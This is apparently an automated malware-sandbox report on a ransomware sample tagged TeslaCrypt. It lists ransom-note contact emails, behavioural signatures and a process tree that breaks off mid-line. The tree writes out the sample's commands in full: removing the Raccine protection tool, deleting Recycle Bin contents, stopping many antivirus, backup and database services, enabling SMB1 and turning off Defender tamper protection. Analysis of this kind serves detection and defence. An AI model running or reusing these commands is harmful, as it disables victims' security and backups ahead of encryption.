Analysis
-
max time kernel
81s -
max time network
73s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
04-02-2021 19:36
Static task
static1
Behavioral task
behavioral1
Sample
bbc[1].exe
Resource
win7v20201028
Behavioral task
behavioral2
Sample
bbc[1].exe
Resource
win10v20201028
General
-
Target
bbc[1].exe
Malware Config
Extracted
C:\Users\Admin\AppData\Local\Temp\RESTORE_FILES_INFO.txt
workplus111@protonmail.com
worker400@airmail.cc
Extracted
C:\Users\Admin\Desktop\RESTORE_FILES_INFO.txt
workplus111@protonmail.com
worker400@airmail.cc
Signatures
-
TeslaCrypt, AlphaCrypt
Ransomware based on CryptoLocker. Shut down by the developers in 2016.
-
Executes dropped EXE 1 IoCs
Processes:
tm94ra6g.exepid process 1488 tm94ra6g.exe -
Modifies Windows Firewall 1 TTPs
-
Drops startup file 1 IoCs
Processes:
tm94ra6g.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk tm94ra6g.exe -
Loads dropped DLL 1 IoCs
Processes:
bbc[1].exepid process 1932 bbc[1].exe -
Modifies file permissions 1 TTPs 3 IoCs
Processes:
icacls.exeicacls.exeicacls.exepid process 528 icacls.exe 2752 icacls.exe 3336 icacls.exe -
Processes:
tm94ra6g.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features tm94ra6g.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0" tm94ra6g.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Discovers systems in the same network 1 TTPs 1 IoCs
-
Kills process with taskkill 48 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 3908 taskkill.exe 4032 taskkill.exe 4060 taskkill.exe 3640 taskkill.exe 3616 taskkill.exe 3600 taskkill.exe 3820 taskkill.exe 3844 taskkill.exe 2764 taskkill.exe 3248 taskkill.exe 3296 taskkill.exe 3552 taskkill.exe 3648 taskkill.exe 3804 taskkill.exe 2236 taskkill.exe 4008 taskkill.exe 4072 taskkill.exe 2472 taskkill.exe 3524 taskkill.exe 3608 taskkill.exe 3576 taskkill.exe 3796 taskkill.exe 3892 taskkill.exe 3828 taskkill.exe 3932 taskkill.exe 2788 taskkill.exe 2004 taskkill.exe 3532 taskkill.exe 3560 taskkill.exe 3728 taskkill.exe 3788 taskkill.exe 3508 taskkill.exe 3624 taskkill.exe 3736 taskkill.exe 3592 taskkill.exe 3768 taskkill.exe 3916 taskkill.exe 3956 taskkill.exe 3968 taskkill.exe 3584 taskkill.exe 3720 taskkill.exe 3780 taskkill.exe 3836 taskkill.exe 3516 taskkill.exe 3760 taskkill.exe 3868 taskkill.exe 4024 taskkill.exe 4048 taskkill.exe -
Modifies registry key 1 TTPs 1 IoCs
-
Opens file in notepad (likely ransom note) 2 IoCs
Processes:
NOTEPAD.EXEnotepad.exepid process 3860 NOTEPAD.EXE 2496 notepad.exe -
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
tm94ra6g.exepid process 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe 1488 tm94ra6g.exe -
Suspicious use of AdjustPrivilegeToken 51 IoCs
Processes:
tm94ra6g.exepowershell.exetaskkill.exepowershell.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepowershell.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exedescription pid process Token: SeDebugPrivilege 1488 tm94ra6g.exe Token: SeDebugPrivilege 528 powershell.exe Token: SeDebugPrivilege 2004 taskkill.exe Token: SeDebugPrivilege 2212 powershell.exe Token: SeDebugPrivilege 3516 taskkill.exe Token: SeDebugPrivilege 3532 taskkill.exe Token: SeDebugPrivilege 3508 taskkill.exe Token: SeDebugPrivilege 3524 taskkill.exe Token: SeDebugPrivilege 3584 taskkill.exe Token: SeDebugPrivilege 3616 taskkill.exe Token: SeDebugPrivilege 3552 taskkill.exe Token: SeDebugPrivilege 3560 taskkill.exe Token: SeDebugPrivilege 3600 taskkill.exe Token: SeDebugPrivilege 3608 taskkill.exe Token: SeDebugPrivilege 3624 taskkill.exe Token: SeDebugPrivilege 3648 taskkill.exe Token: SeDebugPrivilege 3640 taskkill.exe Token: SeDebugPrivilege 3576 taskkill.exe Token: SeDebugPrivilege 3592 taskkill.exe Token: SeDebugPrivilege 3728 taskkill.exe Token: SeDebugPrivilege 3780 taskkill.exe Token: SeDebugPrivilege 3804 taskkill.exe Token: SeDebugPrivilege 3720 taskkill.exe Token: SeDebugPrivilege 3768 taskkill.exe Token: SeDebugPrivilege 3760 taskkill.exe Token: SeDebugPrivilege 3788 taskkill.exe Token: SeDebugPrivilege 3796 taskkill.exe Token: SeDebugPrivilege 3736 taskkill.exe Token: SeDebugPrivilege 2788 taskkill.exe Token: SeDebugPrivilege 3248 taskkill.exe Token: SeDebugPrivilege 4032 taskkill.exe Token: SeDebugPrivilege 4072 taskkill.exe Token: SeDebugPrivilege 2472 taskkill.exe Token: SeDebugPrivilege 3296 taskkill.exe Token: SeDebugPrivilege 2236 taskkill.exe Token: SeDebugPrivilege 3828 taskkill.exe Token: SeDebugPrivilege 3844 taskkill.exe Token: SeDebugPrivilege 3836 taskkill.exe Token: SeDebugPrivilege 436 powershell.exe Token: SeDebugPrivilege 3820 taskkill.exe Token: SeDebugPrivilege 3916 taskkill.exe Token: SeDebugPrivilege 3932 taskkill.exe Token: SeDebugPrivilege 4008 taskkill.exe Token: SeDebugPrivilege 2764 taskkill.exe Token: SeDebugPrivilege 3908 taskkill.exe Token: SeDebugPrivilege 3968 taskkill.exe Token: SeDebugPrivilege 4048 taskkill.exe Token: SeDebugPrivilege 3956 taskkill.exe Token: SeDebugPrivilege 4060 taskkill.exe Token: SeDebugPrivilege 3892 taskkill.exe Token: SeDebugPrivilege 3868 taskkill.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
tm94ra6g.exepid process 1488 tm94ra6g.exe -
Suspicious use of SendNotifyMessage 1 IoCs
Processes:
tm94ra6g.exepid process 1488 tm94ra6g.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
bbc[1].exetm94ra6g.exedescription pid process target process PID 1932 wrote to memory of 1488 1932 bbc[1].exe tm94ra6g.exe PID 1932 wrote to memory of 1488 1932 bbc[1].exe tm94ra6g.exe PID 1932 wrote to memory of 1488 1932 bbc[1].exe tm94ra6g.exe PID 1932 wrote to memory of 1488 1932 bbc[1].exe tm94ra6g.exe PID 1488 wrote to memory of 528 1488 tm94ra6g.exe powershell.exe PID 1488 wrote to memory of 528 1488 tm94ra6g.exe powershell.exe PID 1488 wrote to memory of 528 1488 tm94ra6g.exe powershell.exe PID 1488 wrote to memory of 528 1488 tm94ra6g.exe powershell.exe PID 1488 wrote to memory of 2004 1488 tm94ra6g.exe taskkill.exe PID 1488 wrote to memory of 2004 1488 tm94ra6g.exe taskkill.exe PID 1488 wrote to memory of 2004 1488 tm94ra6g.exe taskkill.exe PID 1488 wrote to memory of 2004 1488 tm94ra6g.exe taskkill.exe PID 1488 wrote to memory of 1340 1488 tm94ra6g.exe reg.exe PID 1488 wrote to memory of 1340 1488 tm94ra6g.exe reg.exe PID 1488 wrote to memory of 1340 1488 tm94ra6g.exe reg.exe PID 1488 wrote to memory of 1340 1488 tm94ra6g.exe reg.exe PID 1488 wrote to memory of 1988 1488 tm94ra6g.exe reg.exe PID 1488 wrote to memory of 1988 1488 tm94ra6g.exe reg.exe PID 1488 wrote to memory of 1988 1488 tm94ra6g.exe reg.exe PID 1488 wrote to memory of 1988 1488 tm94ra6g.exe reg.exe PID 1488 wrote to memory of 1608 1488 tm94ra6g.exe schtasks.exe PID 1488 wrote to memory of 1608 1488 tm94ra6g.exe schtasks.exe PID 1488 wrote to memory of 1608 1488 tm94ra6g.exe schtasks.exe PID 1488 wrote to memory of 1608 1488 tm94ra6g.exe schtasks.exe PID 1488 wrote to memory of 952 1488 tm94ra6g.exe cmd.exe PID 1488 wrote to memory of 952 1488 tm94ra6g.exe cmd.exe PID 1488 wrote to memory of 952 1488 tm94ra6g.exe cmd.exe PID 1488 wrote to memory of 952 1488 tm94ra6g.exe cmd.exe PID 1488 wrote to memory of 692 1488 tm94ra6g.exe sc.exe PID 1488 wrote to memory of 692 1488 tm94ra6g.exe sc.exe PID 1488 wrote to memory of 692 1488 tm94ra6g.exe sc.exe PID 1488 wrote to memory of 692 1488 tm94ra6g.exe sc.exe PID 1488 wrote to memory of 368 1488 tm94ra6g.exe sc.exe PID 1488 wrote to memory of 368 1488 tm94ra6g.exe sc.exe PID 1488 wrote to memory of 368 1488 tm94ra6g.exe sc.exe PID 1488 wrote to memory of 368 1488 tm94ra6g.exe sc.exe PID 1488 wrote to memory of 1564 1488 tm94ra6g.exe sc.exe PID 1488 wrote to memory of 1564 1488 tm94ra6g.exe sc.exe PID 1488 wrote to memory of 1564 1488 tm94ra6g.exe sc.exe PID 1488 wrote to memory of 1564 1488 tm94ra6g.exe sc.exe PID 1488 wrote to memory of 332 1488 tm94ra6g.exe sc.exe PID 1488 wrote to memory of 332 1488 tm94ra6g.exe sc.exe PID 1488 wrote to memory of 332 1488 tm94ra6g.exe sc.exe PID 1488 wrote to memory of 332 1488 tm94ra6g.exe sc.exe PID 1488 wrote to memory of 1532 1488 tm94ra6g.exe cmd.exe PID 1488 wrote to memory of 1532 1488 tm94ra6g.exe cmd.exe PID 1488 wrote to memory of 1532 1488 tm94ra6g.exe cmd.exe PID 1488 wrote to memory of 1532 1488 tm94ra6g.exe cmd.exe PID 1488 wrote to memory of 1096 1488 tm94ra6g.exe sc.exe PID 1488 wrote to memory of 1096 1488 tm94ra6g.exe sc.exe PID 1488 wrote to memory of 1096 1488 tm94ra6g.exe sc.exe PID 1488 wrote to memory of 1096 1488 tm94ra6g.exe sc.exe PID 1488 wrote to memory of 336 1488 tm94ra6g.exe sc.exe PID 1488 wrote to memory of 336 1488 tm94ra6g.exe sc.exe PID 1488 wrote to memory of 336 1488 tm94ra6g.exe sc.exe PID 1488 wrote to memory of 336 1488 tm94ra6g.exe sc.exe PID 1488 wrote to memory of 624 1488 tm94ra6g.exe sc.exe PID 1488 wrote to memory of 624 1488 tm94ra6g.exe sc.exe PID 1488 wrote to memory of 624 1488 tm94ra6g.exe sc.exe PID 1488 wrote to memory of 624 1488 tm94ra6g.exe sc.exe PID 1488 wrote to memory of 1604 1488 tm94ra6g.exe netsh.exe PID 1488 wrote to memory of 1604 1488 tm94ra6g.exe netsh.exe PID 1488 wrote to memory of 1604 1488 tm94ra6g.exe netsh.exe PID 1488 wrote to memory of 1604 1488 tm94ra6g.exe netsh.exe -
System policy modification 1 TTPs 2 IoCs
Processes:
tm94ra6g.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1" tm94ra6g.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" tm94ra6g.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\bbc[1].exe"C:\Users\Admin\AppData\Local\Temp\bbc[1].exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Programs\Temp\tm94ra6g.exe"C:\Users\Admin\AppData\Local\Programs\Temp\tm94ra6g.exe"2⤵
- Executes dropped EXE
- Drops startup file
- Windows security modification
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill" /F /IM RaccineSettings.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\reg.exe"reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F3⤵
-
C:\Windows\SysWOW64\reg.exe"reg" delete HKCU\Software\Raccine /F3⤵
- Modifies registry key
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /DELETE /TN "Raccine Rules Updater" /F3⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin3⤵
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config Dnscache start= auto3⤵
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config SQLTELEMETRY start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config FDResPub start= auto3⤵
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config SSDPSRV start= auto3⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c rd /s /q D:\\$Recycle.bin3⤵
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config upnphost start= auto3⤵
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config SstpSvc start= disabled3⤵
-
C:\Windows\SysWOW64\netsh.exe"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes3⤵
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config SQLWriter start= disabled3⤵
-
C:\Windows\SysWOW64\netsh.exe"netsh" advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes3⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" start Dnscache /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start Dnscache /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" start FDResPub /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start FDResPub /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop bedbg /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop bedbg /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop avpsus /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop avpsus /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" start SSDPSRV /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start SSDPSRV /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQL$SQL_2008 /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$SQL_2008 /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" start upnphost /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start upnphost /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop EhttpSrv /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop EhttpSrv /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop McAfeeDLPAgentService /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop McAfeeDLPAgentService /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop mfewc /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mfewc /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop ccEvtMgr /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ccEvtMgr /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop ccSetMgr /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ccSetMgr /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MMS /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MMS /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BMR Boot Service /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BMR Boot Service /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop NetBackup BMR MTFTP Service /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" & Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQL$SQLEXPRESS /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$SQLEXPRESS /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SavRoam /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SavRoam /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop DefWatch /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop DefWatch /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop ekrn /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ekrn /y4⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c net view3⤵
-
C:\Windows\SysWOW64\net.exenet view4⤵
- Discovers systems in the same network
-
C:\Windows\SysWOW64\net.exe"net.exe" stop RTVscan /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RTVscan /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop mozyprobackup /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mozyprobackup /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop QBFCService /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBFCService /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop EPSecurityService /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop EPSecurityService /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQL$VEEAMSQL2008R2 /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$VEEAMSQL2008R2 /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop EPUpdateService /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop EPUpdateService /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop ntrtscan /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ntrtscan /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQL$TPSAMA /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$TPSAMA /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQL$TPS /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$TPS /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop EsgShKernel /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop EsgShKernel /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQLFDLauncher$SBSMONITORING /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$SBSMONITORING /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop KAVFSGT /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop KAVFSGT /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLWriter /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLWriter /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop KAVFS /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop KAVFS /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQLFDLauncher$PROFXENGAGEMENT /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$PROFXENGAGEMENT /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLAgent$VEEAMSQL2008R2 /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2008R2 /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop FA_Scheduler /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop FA_Scheduler /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQL$VEEAMSQL2012 /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$VEEAMSQL2012 /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SDRSVC /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SDRSVC /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop ESHASRV /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ESHASRV /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQL$VEEAMSQL2008R2 /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$VEEAMSQL2008R2 /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop PDVFSService /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop PDVFSService /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamBackupSvc /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamBackupSvc /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop QBIDPService /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBIDPService /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQL$SYSTEM_BGC /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$SYSTEM_BGC /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop VSNAPVSS /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VSNAPVSS /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecDiveciMediaService /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecDiveciMediaService /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecAgentBrowser /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecAgentBrowser /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop stc_raw_agent /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop stc_raw_agent /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop zhudongfangyu /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop zhudongfangyu /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop YooIT /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop YooIT /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop YooBackup /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop YooBackup /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop QBCFMonitorService /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBCFMonitorService /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop Intuit.QuickBooks.FCS /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQLFDLauncher$SHAREPOINT /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$SHAREPOINT /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop klnagent /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop klnagent /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamTransportSvc /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamTransportSvc /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop kavfsslp /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop kavfsslp /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecJobEngine /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecJobEngine /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamCatalogSvc /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamCatalogSvc /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamDeploymentService /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamDeploymentService /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQLSERVER /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLSERVER /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamDeploySvc /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamDeploySvc /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MBAMService /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MBAMService /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MBEndpointAgent /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MBEndpointAgent /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamEnterpriseManagerSvc /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamEnterpriseManagerSvc /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop McAfeeEngineService /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop McAfeeEngineService /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQLServerADHelper /y3⤵
-
